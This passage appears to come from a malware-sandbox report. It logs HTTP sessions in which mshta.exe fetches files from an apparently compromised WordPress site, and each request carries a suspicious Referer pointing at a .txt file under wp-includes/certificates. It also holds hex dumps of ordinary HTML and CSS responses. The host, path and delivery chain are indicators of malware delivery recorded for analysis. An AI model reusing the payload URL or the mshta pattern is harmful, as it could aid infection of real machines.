                                                                                      Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      13192.168.2.349758187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:33.465538979 CEST1627OUTGET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:34.585031986 CEST1641INHTTP/1.1 404 Not Found
                                                                                      Date: Tue, 16 Aug 2022 09:39:33 GMT
                                                                                      Server: Apache
                                                                                      Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                      Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                      Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"
                                                                                      Connection: close
                                                                                      Transfer-Encoding: chunked
                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                      Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68
                                                                                      Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found | Facex</title><meta name="description" content=" &raquo; Pgina no encontrada | Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
                                                                                      Aug 16, 2022 11:39:34.585079908 CEST1642INData Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65
                                                                                      Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
                                                                                      Aug 16, 2022 11:39:34.585108042 CEST1643INData Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74
                                                                                      Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
                                                                                      Aug 16, 2022 11:39:34.585130930 CEST1644INData Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65
                                                                                      Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
                                                                                      Aug 16, 2022 11:39:34.592900038 CEST1645INData Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61
                                                                                      Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
                                                                                      Aug 16, 2022 11:39:34.592978954 CEST1647INData Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d
                                                                                      Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
                                                                                      Aug 16, 2022 11:39:34.593003035 CEST1648INData Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73
                                                                                      Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
                                                                                      Aug 16, 2022 11:39:34.593019009 CEST1648INData Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79
                                                                                      Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
                                                                                      Aug 16, 2022 11:39:34.593040943 CEST1650INData Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67
                                                                                      Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
                                                                                      Aug 16, 2022 11:39:34.593103886 CEST1651INData Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73
                                                                                      Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
                                                                                      Aug 16, 2022 11:39:34.821223021 CEST1665INData Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f
                                                                                      Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      14192.168.2.349759187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:34.607795000 CEST1663OUTGET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:34.842693090 CEST1686INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:34 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT
                                                                                      ETag: "a51456-d17-5c93d38d9645e"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 3351
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0a 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2c 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 73 74 61 67 65 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 70 61 6e 2d 59 3b 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 3b 2d 6d 6f 7a 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 73 74 61 67 65 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 2e 22 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 68 65 69 67 68 74 3a 30 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 73 74 61 67 65 2d 6f 75 74 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 2c 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 7b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 6d 6f 7a 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 6d 73 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 74 6f 75 63 68 2d 63 61 6c 6c 6f 75 74 3a 6e 6f 6e 65 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 69 6d 67 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 64 6f 74 73 2e 64 69 73 61 62 6c 65 64 2c 2e 6f
                                                                                      Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */.owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.o
                                                                                      Aug 16, 2022 11:39:34.842750072 CEST1687INData Raw: 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 2e 64 69 73 61 62 6c 65 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 6e 6f 2d 6a 73 20 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2c 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2e 6f 77 6c 2d
                                                                                      Data Ascii: wl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user
                                                                                      Aug 16, 2022 11:39:34.842787981 CEST1688INData Raw: 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 2e 6f 77 6c 2d 6c 61 7a 79 5b 73 72 63 5e 3d 22 22 5d 7b 6d 61 78 2d 68 65 69 67 68 74 3a 30 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 69 6d 67 2e 6f 77
                                                                                      Data Ascii: -carousel .owl-item .owl-lazy[src^=""]{max-height:0}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:abs


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      15192.168.2.349760187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:34.813163996 CEST1664OUTGET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:35.032183886 CEST1689INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:34 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT
                                                                                      ETag: "a51451-3f5-5c93d38d94a1b"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 1013
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Aug 16, 2022 11:39:35.032303095 CEST1690INData Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a
                                                                                      Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */.owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highl


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      16192.168.2.349761187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:35.069591045 CEST1691OUTGET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:35.296416044 CEST1693INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:35 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT
                                                                                      ETag: "a51464-13cec-5c93d38d9adcd"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 81132
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0d 0a 0d 0a 2f 2a 21 0d 0a 41 6e 69 6d 61 74 65 2e 63 73 73 20 2d 20 68 74 74 70 3a 2f 2f 64 61 6e 65 64 65 6e 2e 6d 65 2f 61 6e 69 6d 61 74 65 0d 0a 56 65 72 73 69 6f 6e 20 2d 20 33 2e 34 2e 30 0d 0a 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0d 0a 0d 0a 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 35 20 44 61 6e 69 65 6c 20 45 64 65 6e 0d 0a 2a 2f 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 69 6e 66 69 6e 69 74 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 68 69 6e 67 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 32 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 32 73 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 62 6f 75 6e 63 65 49 6e 2c 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 62 6f 75 6e 63 65 4f 75 74 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 20 20 20 20 61 6e 